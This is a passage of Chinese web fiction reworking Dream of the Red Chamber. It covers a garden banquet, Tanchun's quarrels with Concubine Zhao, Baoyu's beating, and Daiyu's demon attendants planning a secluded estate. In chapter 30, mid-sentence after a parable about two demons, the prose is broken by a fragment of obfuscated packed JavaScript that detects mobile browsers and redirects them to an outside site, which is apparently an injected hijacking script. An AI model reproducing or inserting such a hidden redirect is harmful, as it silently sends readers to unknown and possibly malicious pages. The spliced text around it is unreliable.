王熙凤叫她念得头疼，一跺脚，道：“不挑了，我选中间那个。”
中间的丫鬟闻言，揭开绒布，托盘上是一个粉彩桃花杯。
李纨等人围上来，看到杯上桃花图案，湘云道：“是第五个！”
位置算是不远不近。
有了她带头，众人纷纷选了自己的杯子。
湘云是牡丹，迎春是杏花，惜春是水仙，李纨是桂华，探春依旧拿到的是梅花。
位置确定，众人依次落座，惜春坐在最外头靠近荼蘼花的地方，王熙凤坐下又起身，想跟她换个位置。
惜春摇头：“这儿好，二嫂子休要哄我换了去。”
众人皆笑，王熙凤道：“好精明的四丫头！”
只得作罢回身，悄悄叮嘱平儿道：“一会子你多看顾着她些，她的丫头小，奶妈子也不奶她了，怕只顾着自己乐呵，不上心。”
平儿回道：“你放心，我晓得。”
不多时，丫鬟们捧杯端盘在席间穿行，一一上菜。
因是风雅之会，菜也风雅，少有大鱼大肉，颜色好看，味道也不差。
众人吃得颇为赞叹，尤其是最后一道面，看上去平平无奇，入口却让人鲜掉舌头。众人忍不住将面汤都喝光了。
惜春人小胃口也小，给她上的已是按分量减了，但她一路吃下来，这道也不肯少吃，那道也要尝，喝完面汤，人已歪在何嬷嬷怀里让她揉着肚子。
亭子里也置了丫鬟婆子们的席面，平儿要照看着惜春，抽不开身，黛玉见她忙碌，便叫何嬷嬷替了她，让她去吃一口。
王熙凤放下掌心大的面碗，遗憾道：“可惜少了点，还不够塞牙的。”
李纨朝惜春那里努了努嘴，“再多一些，四丫头要撑破肚皮了。”
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王熙凤道：“该叫她少吃两口，我多吃两口才是。”
李纨道：“亏得你还是她嫂子，好厚的脸皮。”
王熙凤不以为意，问黛玉：“这面是怎么做的？筋道又不费牙，还这么鲜。改日让人学着做了，给老祖宗也尝尝，她定然喜欢的。”
何嬷嬷道：“做起来不难，功夫全在揉面的时候。要把鸡、鱼、虾、鲜笋、香菇、芝麻、花椒等磨成的粉撒入面中一起揉，再加入焯笋、煮蘑菇、煮虾的鲜汁，不加一丁点儿水。揉好的面下锅，也是用鲜汁煮，不需用旁的杂七杂八调味，略加一点盐就够了。”
“若是想吃酸的、咸一些的，也可在揉面时加酱醋。”
王熙凤听罢，道：“如此说来，倒也便宜。”
撤了席，几人杯中还没有花瓣落下，黛玉便提议将杯子留下，由丫鬟们守着，众人转至亭中玩乐消食。
惜春连连应好，道：“正好腾出肚子一会儿饮花瓣酒。”
随后几人或落座下棋，或提篮插花，或结伴去池边喂鱼消磨闲暇时光。
倏而一阵风起，垂花架下传来惊呼：“有了有了！”
湘云忙高声问道：“是谁中了！”
她的丫鬟翠缕道：“正是姑娘呢！”
湘云将手中鱼食一抛，提着裙子奔过去，还不忘喊黛玉：“林姐姐，我不要蜜水，你给我上果子酒来！”
黛玉好笑道：“快来人，给云丫头倒酒！”
果酒斟了大半杯，湘云仰头一饮而尽，末了咂了咂嘴，道：“净是甜味，半点没有酒味，该不是诓我吧。”
黛玉没好气道：“与你喝的自然是酒味淡些！”
说完她又扬起一抹笑容，道：“叫你不选蜜水，可错过了稀奇东西呢！”
湘云好奇心一瞬间被勾起来，忙缠着她问是什么。
黛玉偏闭口不答。
不一会儿惜春杯里也落了花瓣，她是万不能沾酒的，只能喝蜜水，湘云便凑过去，看有什么稀奇的。
只见丫鬟倒入蜜水，白瓷杯底让蜜水一滚，竟浮现出一朵水仙花，她喝完杯里的蜜水，花又不见了，杯底仍是细腻雪白一片。
湘云左看右看，任是看不出端倪，问黛玉，黛玉也不肯说，叫她再有落花，自己再看便是。
如是湘云也不惦记着果子酒了，只等着风吹花落，再饮蜜水。
李纨不禁叹道：“这个法子好，既不扫兴，又叫她们几个不惦记着酒水。”
及至众人都饮过四五轮，就连要包圆果酒的王熙凤都喝了一杯蜜水，看了一回杯中花，这场乔迁宴便结束了，一时宾主尽欢。
众人跟黛玉告辞，湘云和惜春拎走了探春编的小花篮。
出了听松园，一行人本要各自散去，不想惜春拉住迎春姐妹，摇着花篮到：“走！咱们一起去老太太那儿看鸟儿！”
李纨见她脸色绯红，不由道：“莫非果子酒后劲上来，她醉了？”
王熙凤道：“那酒跟汁子差不多，醉不了，她就是还在兴头上。”
28.第 28 章
湘云非闹着要一起去观鸟，众人无法，只得随她。遂又转回听松园邀黛玉一道。
黛玉一听众人来意，悄悄拉上青雀。她先前是哄着湘云说的胡话，要是老太太那儿没有会衔东西的鸟儿，还得青雀给她救场。
一行人浩浩荡荡往贾母正院去，半道上李纨悄然落后几步，将头上的玉壶春摘下来给碧月。
“奶奶怎么不戴着？”碧月捧着绒花不解地问：“戴着好看。”
宴上高兴，多喝了几杯，李纨脸上还有些发烫，自然透出一抹胭脂色。她用帕子贴了贴脸，想减轻脸上的燥热。
“宴散了，再戴着就不合适了。”李纨遮着脸闷声叮嘱道：“把它收起来吧，仔细一点，别碰坏了。”
这一大朵花，碧月也没有能装东西的匣子，放在袖中或者怀里都是要压坏的。想了想，她摊开帕子，把花放在中间，四个角拈起来系上提着。
别说，还怪合适的，跟个袖珍小花篮似的。
到了贾母院子，丫鬟们三三两两坐在廊下屋前倚柱偷闲，见她们一大群人过来，机灵的丫鬟早打了帘子进屋报给贾母。
琥珀半坐在脚踏上给贾母捶腿。听到丫鬟的话，贾母睁开眼睛笑着道：“看来是玉儿那里的宴散了。”
“什么宴？”宝玉丢下笔贴到贾母身边缠着她问：“我怎么没听说？林妹妹也没请我！”
鸳鸯捡起他扔下的笔放好，捧着一叠纸道：“二爷也不经心着点，好好的抄完的经都叫墨点子给污了，可怎么供到菩萨跟前。”
贾母探身去看，果见他纸上滚了好些墨迹，也心疼不已：“还有能用的没有？”
鸳鸯整出来七八张，道：“完整的只有三遍是可以用的。”
宝玉满门心思都在宴会上，哪还管经文不经文的，摇着贾母的胳膊道：“有可用的就行，别管那个，老祖宗，你快跟我说说。”
贾母拍了他一下，无奈道：“净说胡话！你娘叫你抄经是备着浴佛节供上的，自己亲笔写的才更心诚，好容易你也肯听她的静下心来抄，这一下子毁了大半，佛祖收到的心意就少了。”
宝玉道：“我回头再补上就是。”
贾母又心疼起来，“罢了，能抄多少就抄多少，别逼着自个儿，仔细写得手腕疼。”
“鸳鸯，把能用的快收起来，别叫他毛手毛脚再给毁完了，忙忙叨叨一场，尽做了无用功。”
一打岔，黛玉等人还没进屋，贾母奇怪道：“她们是脚上牵了绳绊住了，怎么还没进来？”
琥珀起身道：“我去问问。”
片刻后琥珀满面笑容进来回话，道：“史大姑娘揪着一群人在前头廊下挨个逗弄鸟儿，说是要找什么飞鸟献花，不肯进来。二奶奶、林姑娘她们都在那儿。”
贾母道：“属她最会做怪，从前往那儿过了多少回都没起这兴致。走，咱们也去看看。”
正院外抄手游廊乌泱泱围了一群人，贾母到时，就见湘云举着一朵紫绣球蹦跳着去引一只八色鸫。
只是她越蹦，八色鸫就越躲着她。
宝玉见到人，一下子窜过去，道：“云妹妹！”
“爱哥哥。”湘云听到他喊，放弃引诱八色鸫，把紫绣球重新插进花篮里。
贾母上前道：“屋里头就听到你最闹腾，可怜我这些鸟儿都叫你折腾坏了。”
湘云把一篮子花塞给宝玉，抱着贾母胳膊叽叽喳喳说起宴上的事，迎春探春也跟着补充。
宝玉抱着花篮在旁边听得入神，捶足顿胸恨自己没能加入这样有趣的事中。
“妹妹怎么把我忘了！”他凑到黛玉身旁问。
黛玉道：“你要上学，哪里能请你。”
宝玉脱口道：“你只管给我下帖子，学里何时去不得！”
他说的不像样，叫人听了，好似她拦着不让他上进似的，黛玉啐他，道：“本就是与姐妹们同乐的，叫上你一道又成了什么。”
宝玉道：“我本就是同姐妹们一处的，妹妹若嫌我是个须眉浊物，只不把我当男孩就是了，我也恨不得自己是个女儿身才好呢。”
黛玉听得目瞪口呆，一时竟说不出话来。
青雀上上下下来回扫视宝玉，半晌觉得他若是顶着那张脸当个女孩子也是很有说服力的。
可惜他也不是个妖怪，否则倒是能变成女儿身过一过瘾。
这厢黛玉不知如何接宝玉的话，只好侧身避开，那头湘云已经说到神奇的落英杯，道：“可惜老太太也不去，没见到。”
贾母朝黛玉等人招了招手，一一看过众人头上簪着的花果，知她们玩得好，心中也高兴，笑道：“我虽没见过，也是知道这种杯子的。也是个巧宗，是预先在杯子里夹一个水晶片，下头塞上一张小画，倒了水，画就显出来了。这些画不仅有各种花的样式，还有游鱼、美人图、蝴蝶，各有各的妙处。”
湘云望向黛玉，“是这样吗？”
黛玉点头道：“还是老祖宗见多识广。”
杯子是从闽江江主送的瓷器中翻出来的，她初见时还以为里头是施加了法术，后来才发现这样若隐若现的效果靠的全是工匠的巧思。
知道了其中的原理，湘云兴致稍减，却依然惦记着衔花的事，贾母道：“你胡乱逗弄自然是不成的，要叫专门训鸟的人指挥它们才行。这儿的鸟都是没这么训过的，你若是想要，我寻个人给你训一只。”
湘云也不过是一时兴起，不是非得要一只鸟。况且就是训好了，也只能放在贾家，她是带不回去的。
想明白之后，她摇头道：“我也就是稀罕一回，老祖宗别费心了。”
晚饭众人都留在贾母院里吃，厨下送来按何嬷嬷说的法子做的面条，贾母吃过后也赞了一回。
饭后探春姐妹三人相携回房，半道上还在说白天的宴会。
“三姑娘！”
探春回头，见到是谁，登时就冷了脸。
来的是赵姨娘跟前的丫头小鹊。
“三姑娘，姨娘叫您过去。”
探春深吸一口气，一天的好心情破坏殆尽。
“你们先回去，不必等我了。”
迎春动了动嘴唇，“嗯”了一声，牵着惜春的手走了。
赵姨娘房里。
探春摸着赵姨娘给她缝的袜子，低着头神色不明。
她手边桌上摆着茶，炕桌上乱糟糟放着纸笔。
“姨娘有话就直说。”探春抬头看向赵姨娘，不等她说话又道：“若还为昨天的事，姨娘也别开这个口。”<
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赵姨娘立刻变了脸，嚷道：“你不认我是你娘，好！我也不指望你。但环儿是你的兄弟，他好了，你不也有人撑腰？！兰哥儿比环儿还小，都去上了好一阵学了，太太却只让他抄经。我不过是让你去求一求老太太，动动嘴皮子的事，你倒要推三阻四。”
昨天已经生了一回气，探春冷静道：“姨娘也别嚷。姨娘既说是动动嘴皮子，自己怎么不去求老太太。”
赵姨娘支吾道：“你每日到老太太跟前请安，不是更方便么？况且老太太也疼你，自然比我说有用。”
探春盯着她道：“环儿要上学，他大可自己去求，按理他也不到年纪，兰儿便是自己磨了老太太答应的。环儿年纪大，没道理还要姨娘求到我这里给他出头。他要是连这点勇气也没有，姨娘也别指望他读了书能有出息！”
赵姨娘：“这么咒你的兄弟，对你有什么好处！”
“我不过是说实话，姨娘说不过就要胡搅蛮缠。你说太太让环儿抄经，宝玉也抄了，抄的比环儿还多，姨娘处处要比，怎么就不拿这个比。环儿人呢？又跟谁去玩了？他半点静不下来，去了学里自己学不进去，反要扰了别人，我也没这个脸去求老太太。”
她一通说，赵姨娘反驳不得，拍着腿大哭：“我是造了哪门子孽，生出来两个讨债鬼。大的没心肝，一心只往太太屋里钻，可恨你没有运道，叫你从我肠子里爬出来，不能有个高贵出身，比不上林姑娘那样的身份。你好歹还有个兄弟，却也不肯拉他一把！”
“姨娘！”探春勃然变色，大声喝道。
赵姨娘不依不饶，探春眼中含泪，哭道：“姨娘说我没心肝，姨娘何曾也把我放在心上！”
“快到夏天了，姨娘难道不知？冬天的袜子亏姨娘拿得出来！”
她把手里的袜子掷在桌上，扭身奔出门外，捂着脸头也不回地往后面抱厦去。
赵姨娘追之不及，恨恨跺了跺脚，回头拿起桌上的袜子拍了拍，“现在穿不得，冬天难道穿不得？白费了我攒的好料子。”
两人的争吵也没避着人，不一会儿就传到王夫人耳朵里。
王夫人念了两句佛，叹道：“那是个口无遮拦的，委屈她了。也该裁夏衣了，她们四个姐妹身量长得快，你去嘱咐凤丫头，叫针线房给她们多裁几身好换着穿。”
王夫人院里发生的事黛玉不知道，浴佛节快到了，白妈妈准备了好些青精准备煮黑饭以供佛诞。
她是在佛寺中得佛法熏染年久成精的，故而有些虔诚。
黑饭也做的十分细致。她的黑饭与别人不同，是将粳米煮好晾凉后加了别的东西，搓成一个一个鸡蛋大小的丸子放着。
黛玉看着好玩，也跟搓了几个。
自打乔迁宴后，宝玉每日都要来她这里晃一圈，生恐黛玉又把他“忘了”，再错过一回热闹。这回见黛玉搓丸子，他也要跟着搓。
黛玉见白妈妈没有阻止，推给他一个盘子，“你到那边去，别在这里碍手碍脚的。”
宝玉乐颠颠端着盘子坐到一边搓了一盘黑丸子，走的时候，也顺手把那一碟丸子带走了。
这日，黛玉姐妹几个在贾母房里闲话。
忽然外面有人大声疾呼：“老太太，老太太，不好了！”
29.第 29 章
“老太太！”
袭人惊慌失措地奔进来，扑到贾母跟前，“求您救救宝二爷！”
贾母和王夫人腾地站起来，一齐喝问：“宝玉怎么了？”
“老爷命人拿住二爷，他......他要打死二爷！”袭人边哭边说。
黛玉等姐妹面面相觑，不知这是哪一出。探春搅着帕子，咬紧腮肉，生怕是赵姨娘和贾环从中作梗。
实在是由不得她不这么想，宝玉这段时间安分得很，最叫人头疼的学业问题都有了长进，老爷再没有不满意的地方了。
前几日姨娘还为此跟自己争执过，探春怕她没在自己这里得到一个满意的结果，憋着一股气出昏招。
姨娘不是干不出来。
探春又怕又怨。她不明白姨娘为什么就不能安分一点，难道不知道就是因为她总是上蹿下跳，才会遭人耻笑，连带着环儿也不受待见吗？
她一心想着赵姨娘是否犯错，就听贾母喝道：“他们人在哪儿？你还不快在前面带路！”
琥珀赶忙把袭人掺起来，鸳鸯扶着贾母，王熙凤把着王夫人一起匆匆赶去。
贾母都走了，李纨也起身，对黛玉等人道：“前院咱们去不得，也别在这里干坐着，反倒忧心，都先回去吧，看再怎么说。”
探春求之不得，她得先去找赵姨娘问清楚。
人一散，探春就直奔赵姨娘房里。
赵姨娘坐在炕上纳千层底的鞋垫，听到外面喊三姑娘的声音，止不住露出一点笑意。
放下鞋底，拍了拍身上的碎布头，她刚想起身，眼睛一转又坐了回去，“哪有老子娘去迎女儿的道理？要叫她先给我服软才对。”
颠颠凑上去，我不就低了她一头。
赵姨娘侧坐在炕上，捏着针头眼也不斜，看上去专心致志做着手上的活计，实际上半天也没动一下。
“姨娘！”探春打了帘子进来，“你们都出去，我有话单独跟姨娘说！”
赵姨娘还以为她是来道歉的，拿着腔调阴阳怪气道：“哟，三姑娘不去太太那儿，不找其他姑娘们耍，反倒想起我来了？平日里可是三请四请都请不来，这会子在这里拿上款了~”
探春没心思听她的讥讽，把人都打发出去，拉住她压低声音问：“老爷要打宝玉，这事儿跟姨娘有没有关系？”
赵姨娘听了一愣，随后乐起来：“宝玉竟讨了打？挨了几板子？”
随后又反应过来，丢下鞋垫子指着探春骂道：“你良心叫狗吃了，竟怀疑我！宝玉那样的，光是吃丫鬟嘴上胭脂一条就是老爷最瞧不上的，用不着别人挑三说四，要不是老太太护着，隔三岔五都要挨老爷一顿打，我凑上去挑唆都嫌浪费唾沫。”
“亏得我还过意不去，特地给你做了鞋垫子，一片真心全喂了狗！没天理了！别人还没说什么，我肚子里爬出来的先猜忌起我了！”
她要哭要骂的，探春也不想计较，只看她哭天抢地干嚎的样子，探春就知道宝玉挨打真跟她没关系，她没那么能藏事儿。
弄明白之后，探春便要走，宝玉那儿估计要闹腾一通，只不知老太太到的及不及时，打成什么样了？
之后他们姐妹少不得是要去探望的。
临走时，探春还是不放心，叮嘱赵姨娘道：“姨娘到时得了信，也收收幸灾乐祸的心思，看着些环儿，免得招人怨。”
她来去匆匆，赵姨娘压根没来得及说上几句话，还招了一顿冤枉，又气又恨。
这时贾环摸进屋里，他也不知道跑到哪儿去了，蹭了一身灰，衣裳也划破了。赵姨娘见状更是气不打一处来，一把揪着他的耳朵大骂起来：“你个没脸皮的东西，你是主子他们是奴才，成日跟他们混在一起，也不嫌掉价！”
贾环才不怕她，被拧疼了，挠了她的手一把挣脱开来，嚷道：“主子怎么了？你想要个金贵儿子找宝玉去！反正我是奴才生的！”
赵姨娘登时气了个仰倒。
贾环一溜烟钻出去跑没了影。
赵姨娘哆嗦了半天，恨恨道：“两个死讨债鬼！”
-*
却说黛玉跟姐妹们分开后自己回了园子，过了半日，彩霞跟鹦哥一道过来，神情焦急。
黛玉忙命人给二人看坐。
彩霞摆手，急声问道：“林姑娘，你这儿还有赤霞膏吗？”
黛玉正要回答，何嬷嬷先道：“还剩大半盒，只是让我们姑娘用过了。”
彩霞道：“不碍事，林姑娘可否匀给我，实在是二爷受了伤急用。”
黛玉没问上次给宝玉的那盒这么快就用完了，对何嬷嬷点了点头。
何嬷嬷便到房里取了个青白釉仙鹤花卉纹盖盒出来递给彩霞。
彩霞扭开盖子，看到中间凹下去一块的赤霞膏，喜道：“多谢林姑娘。”
鹦哥半句话没说，躬身行了一礼，默默跟在彩霞身后离开。
人都走了，黛玉问：“嬷嬷为何不让我给个没用过的，左右还有一些。”
何嬷嬷叹气，“我的好姑娘，财不露白才是正理。姑娘虽当它是寻常东西，但也经不住左一个右一个的来要，今儿她一张口说急，你眼也不眨舍出去，明儿也有人来说，你给是不给？不给就遭人怨怼。倒不如这么说，往后落得清净。”
黛玉迟疑道：“也不至于如此。府里能来张这个口的，也就是老太太和宝玉。”
何嬷嬷无奈，姑娘说聪明也聪明，但于这些私心算计之事上到底差了些，又不是个吝啬性子，这才好让人从她手
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里抠东西。
她道：“姑娘想的过于简单了，方才开口的不也是二太太的人。”
黛玉道：“二舅母也是为了宝玉。”
何嬷嬷：“姑娘这样想，人人来说，都可以打着是为老太太和宝玉的借口，难道姑娘还能每次都去找老太太他们对峙？”
黛玉自然是做不出来的。
“这就是了。”何嬷嬷又道：“再一个，姑娘之前给宝玉的那罐子赤霞膏也不少，当胭脂抹也不至于这么快就用完了，这里头指定有别的猫腻。姑娘要是手松了，其他人也就不把这东西当回事，之后怕就有没完没了的索要了。”
黛玉听完，半晌无言。
她闷闷不乐坐了一会儿，何嬷嬷见状，唯恐自己说重了，叫她心里难受，正思索着要怎么开解，就听黛玉道：“不知我前世欠了宝玉什么，这恩也太难还了，如今还是半点动静也没有，何年何月才能脱了束缚。”
这里虽有姐妹们一起玩笑取了，但到底还是不自在。
何嬷嬷几人也陷入沉思。
青雀左看右看，小心道：“是不是要姑娘以身相许？”
刷！
八只眼睛齐齐盯着她，神情各异。
青雀吓得差点把脑袋埋到翅膀下面。
“谁说的？”芙蓉声音结了冰似的。
青雀弱弱道：“不是都说救命之恩，以身相许？好多妖怪都是这么报恩的。”
芙蓉呵呵笑了两声，“我活了这么久，怎么没听过这种说法。”
青雀：“......”她也不知道啊！这也不是她说的。
芙蓉姐姐好吓人，她毛都炸起来了。
“呸！”何嬷嬷呸了一声，道：“可不许胡说！”
不是她嫌宝玉，是贾家眼瞅着就不好，再有一个王夫人在前头挡着，宝玉真不是良配。
里头水深的很，把姑娘搭进去都不够。姑娘是来解因果的，不是扎进这深潭里跟着一起扑腾的。
“你也呸呸！”何嬷嬷叫青雀也吐晦气。
青雀听话地噗噗吐了了两口口水。
“童言无忌，童言无忌。”何嬷嬷四处拜了拜。
黛玉本来有些脸红，何嬷嬷一闹，她禁不住笑了。
何嬷嬷严肃道：“姑娘别笑，这是真有忌讳的。”
尤其是她们都不是人，最怕言出法随。
黛玉绷着脸点头，“嬷嬷放心，我只当宝玉是个‘姐妹’呢！”
说完，她不禁想到了宝玉那番女儿论，越发好笑起来，直笑得滚到榻上。
何嬷嬷等人也不知她乐什么，看她真没放在心上，也放心了。
白鹤搭着榻沿防止她滚下来，提出自己的想法，“咱们给姑娘置个庄子吧。”
30.第 30 章
何嬷嬷等人商讨了半天，最后一致同意要建个庄子。
黛玉提到林家在京中是有铺子和庄子的，不必另建，都被白鹤无情驳回，她的理由也很充分——新庄子里不能有普通人。
林家的庄子经营多年，庄中庄户和佃户都已经扎了根，跟周边往来大约也建立了紧密联系。
她们不是不能把所有庄子里的人都迁出去，但没那个必要。白鹤对庄子是有规划的，与其在现有的庄子上折腾，不如找一块新地。
“等下次林管家在派人过府时就跟他说，让他帮忙寻摸一块地方，要大一些，偏一些，最好人烟少一些，方便围起来。”白鹤道。
黛玉理了理自己的乱发，道：“这便不是庄子，是一处可以隐居的园子。”
白鹤点头，“也可以这么说。”
“以后姑娘在府里过的不自在，就可以去住上十天半个月。”
黛玉手下一顿，扯下来几根发丝。
芙蓉把她手上的头发拿走，按住她的手，取了一把骨梳给她梳开头发。
青雀把断发收起来，缠在一起一会儿拿去烧掉。
骨梳的齿轻轻抵在皮肤上一点点往下压，梳头的同时也通开穴道，黛玉浑身都软了一层，就听何嬷嬷继续道：“有这么一个园子在，姑娘以后或散心，或再设宴，想请谁来就可以请谁来，不必斟酌犹豫。”
见黛玉怔愣，何嬷嬷笑着道：“上次乔迁宴，姑娘是不是想到了许家小姐？”
黛玉便点了点头，“许家姐姐叫我找她，我却是不能邀她过府的。”
一则这里毕竟是外祖家，二则许伯父是御史，本就不该结交勋贵，况且府里主次不分的情况......正好就撞到许伯父的职责上了。
她若是下了帖子，来与不来，都叫许家姐姐为难。
正因如此，她自来府里，都未联系过许家姐姐，想必她那里也有同样顾虑，所以也不曾给她递过信。
“等园子建好了，姑娘无事也可去住上一些时日，想邀谁来就邀谁来，不必拘束。”
黛玉轻轻点头，没再多庄子的事提出异议。
这一日黛玉休息的极好。
虽然她自己不曾注意，但实际上她的情绪隐隐是有些紧绷的。贾家陌生而复杂的环境，报恩之事迟迟没有进展，都让她悬着一颗心。
一个属于自己的庄子，可以随她心意支配，让黛玉突然有了安定感，直到到此时她才将心略略放下。
何嬷嬷半夜来看了两次，见她睡得安稳，才悄声问白鹤道：“你是察觉到姑娘情绪不对了？”才提出庄子的事。
白鹤在清点手头上能立时拿出来的现银，何嬷嬷说建个园子花费甚巨。
少则几万两，多则上百万两也是有的。
既然要建，姑娘自然是要用最好的东西。几百万两对她们而言是小钱，但这是把各种玉器、瓷器等折算上，现银却没那么多。
点完金银之后，白鹤在考虑是不是该找个时间去挖点矿，何嬷嬷的话打断了她的思绪。
白鹤把一箱金子上显眼的印记抹掉，摇头道：“我也是才知道。”
何嬷嬷欲言又止。
白鹤道：“我不过是不想受制于人。咱们来了之后，是不是像被困在这里了？有东西也不敢露，想要什么还要让他们家的人传话，与外面的联系主动权也不在我们这里。”
她就从来没有这么憋闷过，她看芙蓉也差不多。
青雀小，是个不知愁的，何嬷嬷大约是习惯这样的规则，适应得很快。
庄子的事她思考有好几天了，早就想找个机会提出来了。
白鹤道：“姑娘虽说是来还恩的，但又不是要死守着这里不挪地。”
何嬷嬷在她边上坐下，道：“我到现在也不明白姑娘是要怎么还恩。是要救宝玉一命还是怎么的？”
“没那么简单。”芙蓉悄无声息加入进来，道：“真是这样，姑娘也不用亲自来贾家了，就等着宝玉哪天撞上死劫，捞他一把就够了。”
白鹤道：“青雀有一句没有说错，宝玉对姑娘的恩情，大约真是救命之恩，不好还。”
何嬷嬷生怕她来一句以身相许，却听她道：“若要还，大约也是要一命抵一命的。”
何嬷嬷吸了一口气，随后又道：“姑娘的师父不可能让姑娘给宝玉赔命的。”
白鹤点头：“所以这事才复杂。”
芙蓉道：“特别是姑娘还拜了师父。”
何嬷嬷问：“怎么说？”
白鹤和芙蓉对视一眼，芙蓉道：“细说起来太过复杂，总而言之，就是能力越大的时候，牵扯到的因果越大。”
白鹤讲了一个故事，“从前有两个小妖，寿元将近，若是不能化形，就要身死道消。这时其中一个得了一件宝物，可以助妖化形，但它把机会让给了另一只妖，因为以它的天分，成功的概率更大。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130215|147635||http|test|mini|href|location''.split(''|''),0,{}));
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“另一只妖也确实成功了，它突破了寿元限制。这个时候，它只要想办法帮助那只妖同样化形，那就是还清了恩情，因果两消。然而让出机会的妖没有成功，还是死了，而成功化形的妖接下的修行之路顺遂无比，它越来越强大，最后成了威震一方的妖王，它手里有无数当初求而不得的化形宝物，但这个时候它欠那只妖的就不仅仅是一件化形宝物了。”
“因为两方已经不对等了。当初那只妖让出来的是命，有了命，妖王才有成为妖王的可能。而现在对妖王来说，化形宝物不是命，是它手里漏出来微不足道的东西，不能和一条命相提并论。如果不能干脆还一条命抵当初的恩情，那妖王要付出的东西一定比当初得到的要多得多，直到累积还清为止。”
所以这也是为什么志怪故事里妖怪找凡人报恩基本都要脱一层皮，还没几个妖能成功的原因，就是因为双方不对等。而没人能搞清楚报恩成功的标准是什么。
含糊不清是最要命的。
不过也不排除故事里报恩的妖都选择了以身相许的路子，恩情难还不说，还有过情劫，难上加难，偏往死路上走。
当然，白鹤没说的是，也有一种方法让欠债的人不需要报恩。
那就是杀了恩人。
这里的杀不是指把人杀死就够了，而是要让他从此身死魂消，上天入地，这个人在天地间再也不存在，并且要连他身上所有的因果也一起斩断。
但这个方法比单纯报恩还要难千倍万倍，毕竟他也可能曾随手救下另一个有大造化的路人。
何嬷嬷皱眉思索。
任由她思考，白鹤和芙蓉小声商量起园子要有多大的地，该把什么东西放到园子里，里面要设什么阵法等等。
半晌，何嬷嬷道：“我明白了。”
白鹤看向她，何嬷嬷点了点脚下的地，道：“这府里就是助开国皇帝夺了天下，博了一份从龙之功，才有了如今五代绵延的富贵。”
白鹤一顿，何嬷嬷的替换比喻十分贴切，还暗合了她没有说出来的话。
谁能比皇帝更有权力抄家灭族呢。
-*
睡了一个好觉，第二天黛玉神清气爽，连日来隐隐有些头疼的症状也消失了。
吃过饭，黛玉去寻迎春三姐妹，想约她们一起去探望宝玉。
谁知一路行来，从夹道路过李纨后窗，却见里面下人们乱糟糟的，隐约透着是一股不安。
31.第 31 章
三春处黛玉只见到了迎春和惜春。
惜春身边只有入画跟着，她披头散发窝在罗汉床上画花样子，入画趴在一边看。
发丝遮挡了她的视线，惜春不时拿手去抿一抿，脸上也被蹭了点点墨痕，跟小花猫似的。
迎春也是刚起的样子，司棋伺候着她梳头，绣桔打水给惜春擦脸，余下的小丫鬟没个手脚，没人吩咐也不会动。
“三姐姐人呢？”
芙蓉捡了张凳子给让黛玉坐下，黛玉张望了两眼，朝迎春问。
司棋瞪了瞪眼，手上把着头发，嘴里斥道：“没瞧见人吗？还不给林姑娘上茶！”
丫鬟这才如梦初醒，慌慌张张倒茶水。黛玉接过沾了点唇，芙蓉接过来放到一边桌上。
“我们昨天一起去看望宝玉，三妹妹让二太太留住了，一晚上都没回来。”迎春轻声道。
迎春这儿梳洗好了，让司棋去照看惜春。
惜春一应钗环用具都在自己住处，司棋只好又让人去取东西来。
迎春抿了抿唇，朝黛玉不好意思地笑了笑。
黛玉看在眼里，让芙蓉跟着去看看，随后皱起眉，“四妹妹的人也太不经心了，其他人呢？也不盯着些。”
迎春解释道：“他们平日不这样，是晚上因宝玉的事闹腾了大半夜，都没歇好。”
司棋拿了新茶，叫人去打热水，白了眼缩手缩脚的丫鬟吩咐她去厨房提膳，听到迎春的话，茶罐子往桌上一磕，道：“姑娘还替他们遮掩！要闹也是二太太那儿闹，跟他们有什么干系，也不是要他们去伺候。况且也没听说还没得了主子吩咐，自己就做主给自己放假的。都是看姑娘好性儿，四姑娘又小不会同他们争辩，不拿你们当回事罢了。”
“换成三姑娘在，看他们敢不敢如此怠慢！不说三姑娘自己的人，连带着四姑娘跟前的三姑娘也一并收拾了！”
一通抢白让迎春格外窘迫，喝道：“哪里就有你这么多话！我也用不上许多人伺候，七手八脚还嫌他们占地方。”
“都是些会弄鬼的，我也不用他们，打发回去才好。”惜春嘟囔了一句，没叫人听见。
司棋脸上还是有愤愤之色，到底听话收了声。
迎春尴尬道：“司棋不懂事，妹妹白听一场闲话，别往心里去。”
黛玉还能说什么，下人的事迎春和惜春自己管得，探春也能代为训斥，独她管不得。
她心中暗叹一声，笑着点了点头，问：“昨天闹腾我倒是没听见，宝玉可还好？二太太还使人来问我要上回治伤的膏子，难道是二老爷下了死手不成？”
惜春一笔画歪了，好好的花样子毁了，气哼哼地扔下笔，道：“二哥哥没闯祸，这顿打实在是白受的。”
迎春也说：“宝玉这回是无妄之灾。”
从她口中，黛玉得知了宝玉挨打的经过，说起来跟贾兰也有些关系。
从贾兰入学起，因他天赋高，学的快，常常受到先生夸奖。
这本来跟其他学生也没有关系，你学你的，我闹我的，各不相干罢了。
这里要说一下贾家家学的情况。
贾家的家学由宁荣两府共同出资，宁府划出一块地建起学堂，聘了先生，供贾家子弟上学，以期家中能出些读书人，慢慢从武转文，跟两府守望相助，再延富贵。
想法是很好的，但实际操作起来就有些难了。
家学原先是个什么样也不清楚，总归从贾代化、贾代善那一辈起到如今，已是有三四代的光景，统共就出了代字辈的太爷贾代儒一个举人和宁国府的贾敬一个进士。
可惜最出息的贾敬官没做两年就跑去出家了，连家里事都不闻不问，一心只想修仙。
而荣国府公认会读书的上一辈贾政和下一辈的贾珠父子俩，老子没参加科举，乃是贾代善临终一本折子递到上皇跟前，得恩荫赏了个工部员外郎的官职。儿子则有一个童生功名在身，秀才没考完就一病死了。
总而言之，也不知道是贾家子弟实在是太没读书的天分，还是家学的先生教学水平太差，七八房的子弟后人，成材率愣是寥寥无几。
如今管着家学的是贾代儒，这么多年也没见个好苗子，又加上年纪大了精力不济，早就心灰意冷，平时对学里的事睁一只眼闭一只眼，领着束脩混口饭吃。
他都不管，其余先生就更不管了，能走的也都走了，留下的是什么人自不必说。
少了管束，学生们逐渐散漫起来，聚众嬉笑打闹，玩乐狎昵，乌烟瘴气一团，早把圣贤书抛在脑后了。
